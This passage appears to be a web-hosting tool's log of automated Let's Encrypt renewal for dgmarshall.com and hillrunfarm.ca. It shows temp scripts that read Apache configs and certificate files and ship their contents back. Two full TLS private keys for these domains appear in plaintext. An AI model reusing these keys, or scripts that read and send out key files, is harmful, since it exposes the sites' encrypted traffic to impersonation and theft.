BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/dgmarshall_www_com.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:31:
chmod 755 /tmp/pkp898696; /tmp/pkp898696; rm /tmp/pkp898696
2025-09-27 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_com.conf 1383
<VirtualHost *:80>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.com
ServerAlias www.dgmarshall.com
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:00:31:
PUT: /tmp/pkp585887
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-27 06:00:31:
chmod 755 /tmp/pkp585887; /tmp/pkp585887; rm /tmp/pkp585887
2025-09-27 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dd152e01fe9ba41e566c0f966e8e26d3.crt 5374
6d:5c:29:3d:bc:3e:56:3a:b7:b5:92:d9:32:ab:af:64
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBZsc6FruU3ETm+Z+mxaCwRl9MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMTU5WhcNMjUxMjI2MDUwMTU4WjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ALwynjJJjyFbWndtrJrPReEP8w3QktZqyQeRZaAik+uVogRv64bJPMR/eefiSZin
FH2Rqhed+8r1pZ1GHJEuRocdH/tSaU57+LbKO6hiHfAG58KVVGSgapnUjmWSvldD
dI1jyWCYQ/oVVCn2W63yzaUJFThuFvQVSkMDySDDuBKBCXp4TArVpirRbjHhFdC7
OjKIort8nKuDi7Y5xGbpOU6pe+367WgAWtJL+e+XAGE4uUudPmOzQK7LBWOAGlPD
4NJ+6wow1Ov55qaf/SD4jnVG7hCEzkDryNTt7/JJIf4r7NNuSW8UIg9MwxmTM0Ht
EX2aFN0W9/RW3GTaT/IV1IECAwEAAaOCAjMwggIvMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUkfSlezzWf93eN9R6oy4BxG3aQX8wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5kZ21hcnNoYWxsLmNvbYISd3d3
LmRnbWFyc2hhbGwuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYw
JKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMTI2LmNybDCCAQQGCisGAQQB
1nkCBAIEgfUEgfIA8AB1AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gq
AAABmYnCMaQAAAQDAEYwRAIgN2r4eNgV9JWEZH3s3ElPkBF41n3lBgSqH8Svcvxu
AR0CIBGBpGEHnDxJXuq7XNW2zuvaq7ReZJCvjZHKqDan4mxLAHcAGYbUxyiqb/66
A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZicI0MwAABAMASDBGAiEA6ip7XUfJ
Dzh8VMibdwWkdbyYrRYrJKNxcapuZEJoikECIQCm3MUB0Z9tgphKSag+B4pn6dWD
K4C1cfmu6gJTy11/0zANBgkqhkiG9w0BAQsFAAOCAQEAx9ePEYu1J3Mu9sd0VQTZ
u8kl2kszKnBRnSAhPRXdMjsUjngt40H++RIA3LFPtXrmU25JUA/ybGF1oiTXt5m0
AsBCXn7pfhHWl6CG+TNn93uY3xPHF5pITf5VSxdpFisyFC2kMwa1jtYHBEe+uzz3
zWCodu3Ut/1JA59XvSSpVdhS9Xd2YmgI7+G+rwA1vzJinogLloPyIL1lscdQkNhc
kWFJusr+nDZz70l53/5wGhY1ebIiOFwU8uLJB08n5lvhIVpz0BthIbrFtybQFgtN
KDMyvcyAAFkpRLWfQNvXFD68cttjG0+t/AL3IZCM0jkr7EJjHsNM0WTW6ivnws7A
1w==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC8Mp4ySY8hW1p3
bayaz0XhD/MN0JLWaskHkWWgIpPrlaIEb+uGyTzEf3nn4kmYpxR9kaoXnfvK9aWd
RhyRLkaHHR/7UmlOe/i2yjuoYh3wBufClVRkoGqZ1I5lkr5XQ3SNY8lgmEP6FVQp
9lut8s2lCRU4bhb0FUpDA8kgw7gSgQl6eEwK1aYq0W4x4RXQuzoyiKK7fJyrg4u2
OcRm6TlOqXvt+u1oAFrSS/nvlwBhOLlLnT5js0CuywVjgBpTw+DSfusKMNTr+eam
n/0g+I51Ru4QhM5A68jU7e/ySSH+K+zTbklvFCIPTMMZkzNB7RF9mhTdFvf0Vtxk
2k/yFdSBAgMBAAECggEAJa24sHa7ukDw9tI1aXUwF2Q7FDv6+gS9JM++WfYySUtW
+a5yqDSn/utKu9s5Qt/IoW9Fb58Ip1TRCJDd7U8nfaueGJIiVT1KyUXp9cdXGRQ4
2GNPVyoqzYuZyso7Y3s03Y3p5nX1vh8BD7msF0JyW6Va40ZfQBT3Hj2myfGFa+aj
0+saa7Wkf4xfgTL9vPhdSNiGaBTMaAK8WaJWzqCRBHjPs10vFpAJVRNUHrzD7WhX
OyaUd7OZWIcKVfPFxlAdm9ch+MD34LznmsiMjo1Ti3jTbm1wZ707ErI/XCmVo1P+
N5iBYw87+V7ep/todQZRhqWfwGDeSb5Zvxb2ipkPBQKBgQDhfSuwkaKj6YO0mnU3
WhJiG2Ke2df8L2CC92bBRJd6M37ffzBdPF0oQjPSPk7I+bEP5GvoA4e3Sx49dw/H
exKUx7j/qAWPbNMKWb2MSo7VmmLM4XorZF8Uv+NnjVJ5QyGdSBAWaRq+5B7hJvId
BOcdhlUWYPMLgkTnN50p+FAIbwKBgQDVqbJ8UYhiNHzSoc+W5iRIi8mHjB+m412A
Lshjym+Q2HFzefQhtK2jRifHgODV8e8EWjjHR1TmARRsrBIhmYneD6Lmwvt6OGkD
wc8oVXMQ2i53oXlw1SSFGhGTNv9TZHp8lUjp2N9v/rKnB0A1J4bedzzAtscFJ1nn
VcStSn8KDwKBgQCaY2Gum4iIQjJzTe5D3+AGXEnCCdXgTW//O/WXDqfIe8m6rRMo
Q1RlZC6nHRJEePHKt9NKIGCkF0K1QvgC1Tl7tOPt59UmxpQY2ij2DXaOug47yYYk
f6y6QEgrdo+ph1VUoyqgrYYqfXbHIitTwy+a/4bys561mpQi2+k3+1SQ8QKBgQDN
XMkYIomy0n4zOaG8iUHQlMNETFNT5e9FuDGVcMqg7tjExC/5gZ7vcwvi/qWcHWi9
xzYRnCcm11zZQt4+e0P/MwpBQKHTjIqrOMozG0Z4qSzGgWanI8ZxRGgmFlN8xPPR
8O7fDTtdevIeBqMZM/+2reav2D4cXwFTj6V1ZkgK0wKBgG50Ygj/XTFQXrI7jnQE
IeVxZnX7CNyVUCOzSWPy1LguKih+2T7UCEllvMUr+d4VcYlo32T5NV7lIAE7F+gE
kpb2DszEnb8p9/Z55wmCrT1zc2nRoVoUugYI7xuN0G3aTZJmiY5py37Gb1IT52WY
RD2mEK1Z/EyW19lLIpntZaOo
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:32:
PUT: /tmp/pkp368721
#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-27 06:00:32:
chmod 755 /tmp/pkp368721; /tmp/pkp368721; rm /tmp/pkp368721
2025-09-27 06:00:32:
1
2025-09-27 06:00:32: Establishing a connection
2025-09-27 06:00:33:
PUT: /tmp/pkp548691
#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes
cat > KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo
2025-09-27 06:00:33:
chmod 755 /tmp/pkp548691; /tmp/pkp548691; rm /tmp/pkp548691
2025-09-27 06:00:33:
2025-09-27 06:00:43: Establishing a connection
2025-09-27 06:00:43:
PUT: /tmp/pkp589356
#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm 5DgsyEnysyp5Pi9PaSYxxhCLAq6FHgqkdUci_vxokes
rm KMD8GN9c6ESuueRRbedg3HaF7b0H3AWvPamcw9yVWoo
2025-09-27 06:00:43:
chmod 755 /tmp/pkp589356; /tmp/pkp589356; rm /tmp/pkp589356
2025-09-27 06:00:43:
2025-09-27 06:00:43: Establishing a connection
2025-09-27 06:00:43:
PUT: /tmp/pkp474160
#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt
cat > $temp_file <<'endmsg'
e7:4c:68:67:70:eb:e8:08:7d:c8:92:bd:f6:e0:1e:37
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBTE/Cnkz2ymK+89+y48AcqTNMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI3MDUwMjEyWhcNMjUxMjI2MDUwMjExWjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AK9S1u7S+CnmbSBrS3fqv4KvAyAugyONbUysYEb3K2q6GkFLJDwGJjXcrH5t1Gm6
I8W552Q5JHnwLCFc6/vNjah3R5Fw68EF+gynOpxLncPz3B0uEq4iGUrdwRk2QY3X
TFRZF41vyRIsOLs80b8jvg0LLCBi3+eGeff5UX18vgY13S5BeQ+aVx6ihkKQKPuu
M36yYbKWOCxiYvVlDb3FTwMH7/mvAmvAVGZkRZarexRnELGla96JuDLEyfaEzuS2
uNADcX29HHhG960uQ1c91qGLGVu60sbmRquxaQbDNrzcg4Yf0I7DpnSP9/hd3lM3
Un0d4kqInugoCumDg3w5e28CAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUKEO7v0iWDW16BAvW13AARlNJ1skwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzguY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUA7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AA
AAGZicJmHQAABAMARjBEAiAHOFszSoxlEDpIWwRjv+5cGhChlTPD8yLZrQnL5UMS
dgIgY0TVoLghL15qpUMvJTJGTbLdOn6vgyFDPQ3FnQPdISIAdgAS8U40vVNyTIQG
GcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAAAZmJwmYfAAAEAwBHMEUCIFzXizAF4gGJ
yufSdZMLMFCeWOESmG/WlKJ6f4/qNA4cAiEA+3VU2SIRj2RfOjskMjRFJoG0AEIL
VjAH9QlfS9ngw4gwDQYJKoZIhvcNAQELBQADggEBAEHkrgT4xBw2+haVcp+0IGiH
69kwgFmaGUpEqG9PTJ5TQ27J6K0/EyMlybx/M3Q8mvUWcgVf7Wh3JN1ueBM+Z2NJ
oBSw01oelRlci7Xw0D3aAFnNqr5Ykh2efpZXs3PsOLsmBkCtQZyTirBdj70siyh5
xXEv2f1ctNYeMvFHXVzqGuotBkRAOWnixTm3Larx5W1JWU26wZMVscyzZGVc7tbM
YF2ghu7HpTdEiHg26CuQg0ZDNkMggO3IOEKD6KMGdVKaL16c5XVJlntBZKZpTtsr
6BpZDgJ8Q0PzwnXBnGf9n38NtWiP+ojP60C/8g2uRWMLEe5LyCtxpUnhuVcTilg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvUtbu0vgp5m0g
a0t36r+CrwMgLoMjjW1MrGBG9ytquhpBSyQ8BiY13Kx+bdRpuiPFuedkOSR58Cwh
XOv7zY2od0eRcOvBBfoMpzqcS53D89wdLhKuIhlK3cEZNkGN10xUWReNb8kSLDi7
PNG/I74NCywgYt/nhnn3+VF9fL4GNd0uQXkPmlceooZCkCj7rjN+smGyljgsYmL1
ZQ29xU8DB+/5rwJrwFRmZEWWq3sUZxCxpWveibgyxMn2hM7ktrjQA3F9vRx4Rvet
LkNXPdahixlbutLG5karsWkGwza83IOGH9COw6Z0j/f4Xd5TN1J9HeJKiJ7oKArp
g4N8OXtvAgMBAAECggEBAI/ARXimRFHenCVTtBpLwOC+7LorSN0SrcaLI5msOc4V
b0eP+9K3XAcXu9sh5GMX+xK5He+AJtdQRG7KiLb6UCcMPgMTaknmw6IyT40tNtsf
DKBkUW6ziLdo4VXxtYg+OliCgBw4xs1+srla4cNt4/s/6NtZFqr4CPN4WgehCxF9
JwF3VsgCWdNqe81BQ2JgLPTkyHNFsVpmyWaBSlH9aioSqE0E7r/FB2IePY7YAe0B
NHTOjrWP8sHjmbT/n2uxRYkceg3/PSw9uGWs/x1qjuR+PTLG9lRWxZHy+PHu3Kbv
EyJty2x3r7N8Zieux/DKB1KhjTk/FaE8kxU7/jwRyhkCgYEA3Fk23yNbsECGe+CM
KNEW0NpA+1OktFUraCDTId28ld3OnRu/qw4VhER+Ekj1oqz/WvIgt9DkHpARqTUt
lTvfuzIcRytXW1zon2iT3K91u10hp/Dv/+gOdASZOIJVVTIvLiIccuRbt+SKDTPv
KuMCynCLPs8UVKd9N/k70j3XrvUCgYEAy7C0Lc8aG2dkFSHJEzD0G5l2gWDfSNTz
fgJOmbY3RJf5LrzFUW0rtdfiuWE56tiE3TpzoFMTdsgyR4vu8QAcRPoLuDlD7aKF
ugt+ZgPZj48lYSg6K5Oz72fPYn5NsRxSgpI5tzX3MWSRsEN2llwzaBVfa5S9oSdE
zvAJZjVfelMCgYBduz2SMdJA6VHLxDsa6caQ1SarQmtfopMyWjQ1xcMA5TeMsU8Z
Doasmw4d7RdAOeLt5u1wA9XmAlbg6ZQYVT3YvXo19APXA3CYzr2HNMQaDYXRkLYm
36m2RHaBCUAPW6eiMjRz0xwI35iyARON5L89Kh6xexkk4ZJsiwKdbl0fOQKBgBOR
bj3YX5GyZRMCo+aMFWdxXskfHVRJ4PqCDjsGHlkgoHe0+t/PtRtLGiTlCkNdeaYn
L2R/lqcapHnrH5FXiV+3Bdk05ym1K1OsNwBl7ki0X8rtqmj1T5v4RRwZNi2FoweY
NKM9M/oyxyw/zuyy/t1I8FnNeEo7E4kt1jlTd1CxAoGAeV7PH4rAGZ8jtfwtrW1H
GLgCEhW00B5Svv9DS+hD0l9doFLTClXFbQuAJAQ/hvRln1FtvGY/IfL4qw3jRu8o
vxheDWsCGD422LmoKbf3poFnp8Vo90bTvHnA4rI4ETX6ThLKeHTgnvtAoJdf1Ifv
xTkH38bQ5C5irVB3R8CnVFg=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-27 06:00:43:
chmod 755 /tmp/pkp474160; /tmp/pkp474160; rm /tmp/pkp474160
2025-09-27 06:00:43:
dir=/etc/ssl/certs
2025-09-27 06:00:43:
PUT: /tmp/pkp170829
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-27 06:00:43:
chmod 755 /tmp/pkp170829; /tmp/pkp170829; rm /tmp/pkp170829
2025-09-27 06:00:43:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hillrunfarm/www_secure_access.log combined
ErrorLog /var/log/apache2/hillrunfarm/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-27 06:00:43:
PUT: /tmp/pkp378713
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hillrunfarm.ca
ServerAlias www.hillrunfarm.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hillrunfarm_www
<Directory /var/www/hillrunfarm_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
